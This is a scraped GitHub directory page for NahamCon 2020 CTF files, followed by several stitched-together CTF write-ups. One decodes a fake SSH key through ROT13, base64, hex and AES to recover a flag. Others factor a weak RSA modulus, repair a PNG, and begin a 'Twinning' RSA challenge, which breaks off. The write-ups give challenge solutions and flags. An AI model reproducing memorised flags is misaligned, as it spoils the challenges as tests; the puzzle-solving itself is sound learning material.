<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/skyf0l/CTF/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":266067883,"originating_url":"https://github.com/skyf0l/CTF/tree/master/NahamCon_2020/Scripting","user_id":null}}" data-hydro-click-hmac="315ab372fa9bffd23d6562be52a58a3599717069aa1dbcfcb2beb97d4d62aa9c"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/skyf0l/CTF/refs" cache-key="v0:1591722933.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c2t5ZjBsL0NURg==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/skyf0l/CTF/refs" cache-key="v0:1591722933.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c2t5ZjBsL0NURg==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF</span></span></span><span>/</span><span><span>NahamCon_2020</span></span><span>/</span>Scripting<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF</span></span></span><span>/</span><span><span>NahamCon_2020</span></span><span>/</span>Scripting<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/skyf0l/CTF/tree-commit/6afbfd45640c9614b9e9306577364d3b31eab318/NahamCon_2020/Scripting" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/skyf0l/CTF/file-list/master/NahamCon_2020/Scripting"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>really_powerful_gnomes.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>rotten.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Mysterious Masquerading Message
> We found a file that looks to be like an ssh private key... but it doesn't seem quite right. Maybe you can shed some light on it?
```tbbq yhpx:)
-----BEGIN OPENSSH PRIVATE KEY-----SWYgeW91IGFyZSByZWFkaW5nIHRoaXMsIHRoZW4geW91IHByb2JhYmx5IGZpZ3VyZWQgb3V0IHRoYXQgaXQgd2Fzbid0IGFjdHVhbGx5IGFuIFNTSCBrZXkgYnV0IGEgZGlzZ3Vpc2UuIFNvIHlvdSBoYXZlIG1hZGUgaXQgdGhpcyBmYXIgYW5kIGZvciB0aGF0IEkgc2F5IHdlbGwgZG9uZS4gSXQgd2Fzbid0IHZlcnkgaGFyZCwgdGhhdCBJIGtub3csIGJ1dCBuZXZlcnRoZWxlc3MgeW91IGhhdmUgc3RpbGwgbWFkZSBpdCBoZXJlIHNvIGNvbmdyYXRzLiBOb3cgeW91IGFyZSBwcm9iYWJseSByZWFkaW5nIHRoaXMgYW5kIHRoaW5raW5nIGFib3V0IGFubm95aW5nIHRoZSBwZXJzb24gd2hvIG1hZGUgdGhpcywgYW5kIHlvdSB3YW50IHRvIHJlYWQgdGhlIHdob2xlIHRoaW5nIHRvIGNoZWNrIGZvciBjbHVlcywgYnV0IHlvdSBjYW50IGZpbmQgYW55LiBZb3UgYXJlIHN0YXJ0aW5nIHRvIGdldCBmcnVzdHJhdGVkIGF0IHRoZSBwZXJzb24gd2hvIG1hZGUgdGhpcyBhcyB0aGV5IHN0aWxsIGhhdmVuJ3QgbWVudGlvbmVkIGFueXRoaW5nIHRvIGRvIHdpdGggdGhlIGNoYWxsZW5nZSwgZXhjZXB0ICJ3ZWxsIGRvbmUgeW91IGhhdmUgZ290IHRoaXMgZmFyIi4gWW91IHN0YXJ0IHNsYW1taW5nIGRlc2tzLCBhbmQgc29vbiB0aGUgbW9uaXRvciB3aWxsIGZvbGxvdy4gWW91IGFyZSB3b25kZXJpbmcgd2hlcmUgdGhpcyBpcyBnb2luZyBhbmQgcmVhbGlzaW5nIGl0J3MgY29taW5nIHRvIHRoZSBlbmQgb2YgdGhlIHBhcmFncmFwaCwgYW5kIHlvdSBtaWdodCBub3QgaGF2ZSBzZWVuIGFueXRoaW5nLiBJIGhhdmUgZ2l2ZW4geW91IHNvbWUgdGhpbmdzLCBhbHRob3VnaCB5b3Ugd2lsbCBuZWVkIHNvbWV0aGluZyBlbHNlIGFzIHdlbGwgZ29vZCBsdWNrLiAKNjk2ZTY1NjU2NDc0NmY2ZjcwNjU2ZTZjNmY2MzZiNzMKNjk2ZTY5NzQ2OTYxNmM2OTczNjE3NDY5NmY2ZTMxMzI=-----END OPENSSH PRIVATE KEY-----
00111001 00110000 00111001 00111000 00111000 01100011 00111001 0110001001100101 01100110 01100101 00110101 01100101 01100001 00110011 01100110 00110101 01100001 00111001 00110001 01100101 01100110 01100110 01100101 00110000 00110011 00110000 00110110 00110000 01100001 00111000 00110111 00110001 00110100 01100100 01100110 01100011 00110010 00110000 00110000 00111000 00111000 00110100 00110001 00110101 00110101 00110111 00110000 01100010 00110011 00111001 00110100 01100011 01100101 00111001 01100011 01100100 00110011 00110010 01100010 01100101 00110111 00110001 00111000```
## Description
There seems to be a lot of classical ciphers/encodings... First message seems to be a Caesar cipher, the actual SSH key is probably base64 encoded data and in the end we spot binary encoding.
## Solution
Let's fire [CyberChef](https://gchq.github.io/CyberChef). First message seems to be [Cesar](https://www.dcode.fr/chiffre-cesar) encrypted, so let's choose ROT13. It directly outputs `Good luck`.
Then there is this big string that looks like base64 (for instance the `=` in the end is a hint). So let's choose Base64.
```If you are reading this, then you probably figured out that it wasn't actually an SSH key but a disguise. So you have made it this far and for that I say well done. It wasn't very hard, that I know, but nevertheless you have still made it here so congrats. Now you are probably reading this and thinking about annoying the person who made this, and you want to read the whole thing to check for clues, but you cant find any. You are starting to get frustrated at the person who made this as they still haven't mentioned anything to do with the challenge, except "well done you have got this far". You start slamming desks, and soon the monitor will follow. You are wondering where this is going and realising it's coming to the end of the paragraph, and you might not have seen anything. I have given you some things, although you will need something else as well good luck. 696e656564746f6f70656e6c6f636b73696e697469616c69736174696f6e3132```
Those seem to be hex encoded strings. Let's decrypt them using `From hex`:
```696e656564746f6f70656e6c6f636b73 -> ineedtoopenlocks696e697469616c69736174696f6e3132 -> initialisation12```
Well, this looks like a key and an IV (so there is probably an ARS-CBC encrypted message somewhere).
Finally, the binary code is decrypted as (using From binary):
```90988c9befe5ea3f5a91effe03060a8714dfc20088415570b394ce9cd32be718```
But this hex string cannot be decoded by `From hex`. So this is probably our AES ciphertext. Let's use the `AES Decrypt` tool with the corresponding ciphertext, key and IV.
Flag: `ractf{3Asy_F1aG_0n_aEs_rAcTf}` |
RSA given N, e, ct.
Factor N (Factor DB has the full factorization). N turns out to be made of just two prime factors, so just standard RSA after you get p and q from factordb.
[Full writeup](https://bigpick.github.io/TodayILearned/articles/2020-06/nahamConCTF-writeups#ooo-la-la) |
Given a broken (seemingly) `.png` file.
Run it through [PCRT png repair](https://github.com/sherlly/PCRT) and say yes to all questions. Resultant png has flag.
[Full writeup](https://bigpick.github.io/TodayILearned/articles/2020-06/nahamConCTF-writeups#pang) |
# NahamCon CTF 2020 Writeup
I found that this CTF had a few particularly interesting challenges, so I felt like a small writeup was due.
## Twinning
```These numbers wore the same shirt! LOL, #TWINNING!
Connect with:nc jh2i.com 50013```
Netcatting to the server gives us this:
```$ nc jh2i.com 50013Generating public and private key...Public Key in the format (e,n) is: (65537,7136206991423)The Encrypted PIN is 4647953841890What is the PIN?```Looks like RSA but with wayyy too small numbers, but they also have another weakness...
This challenge will definitely stick with me, as it is the first time ever that a small formula I came up with a while ago actually became useful:

